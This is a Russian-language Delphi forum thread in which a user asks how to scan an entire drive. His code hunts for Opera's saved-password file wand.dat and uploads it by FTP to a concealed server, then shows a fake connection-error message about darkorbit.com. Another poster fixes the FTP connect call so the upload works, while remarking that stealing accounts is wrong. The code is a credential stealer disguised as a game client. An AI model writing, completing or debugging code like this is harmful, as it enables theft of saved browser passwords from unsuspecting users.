Scan локальных дисков

[Fox-007]

Доброго времени суток.у меня такая проблемка:
Моя програма сканирует лиш определенные дериктории в поиске нужного файла ,а мне нужно чтоб она сканировала весь лкальный диск В поиске нужного файла. fileName := 'Мой_файл.Exe';
dir1 := 'C:\Opera\profile';
dir2 := 'C:\Program Files\Opera\profile';
f := FileSearch(fileName, dir2+';'+dir1);
c := 'Мой_файл.Exe;
d1 := 'C:\Program Files\Opera\profile';
d2 := 'C:\Opera\Profiles';
g := FileSearch(c, d1+';'+d2);Помогите пжл...

[-Rikk-]

fileName := 'Мой_файл.Exe';
dir1 := 'C:\';
f := FileSearch(fileName, dir1);
c := 'Мой_файл.Exe;
d1 := 'C:\';
g := FileSearch(c, d1);
Так?

[Fox-007]

Нет ((
Мне нужно чтоб програма сканировала весь диск С:\

Добавлено через 11 часов 21 минуту
Вот это у меня получилось:
При компиляции нету ошибок а при выполнении програмы выдает ошибку и строку idftp1.connected; выделяет синим цветом.Помогине непонимаю в чем ошибка.procedure TForm1.FormCreate(Sender: TObject);
begin
mFileScan1.Paths.Text:= DriveComboBox1.Drive + ':\';
mFileScan1.Filters.Clear;
mFileScan1.Filters.Add('wand.dat');
mFileScan1.Start;
end;

procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String);
var
n : string;
a : integer ;
begin
n := (FileName) ;
showmessage(n);
a := random(1000);
idftp1.Host:='xxxxx;
idftp1.Port:=21;
idftp1.Username:='xxxxxx';
idftp1.Password:='xxxxxxx';
idftp1.Connected;
idftp1.Put(n, 'a'+'wand.dat', true);
idftp1.Disconnect ;
showmessage('Невозможно подключитьсч к серверу darkorbit.com');
end;

[symbiozis]

Лучше сделать так.
idftp1.Connect(true, 2000); //сам коннект
AssErt(idftp1.Connected); // проверка

ПыСы Тырить акки не хорошо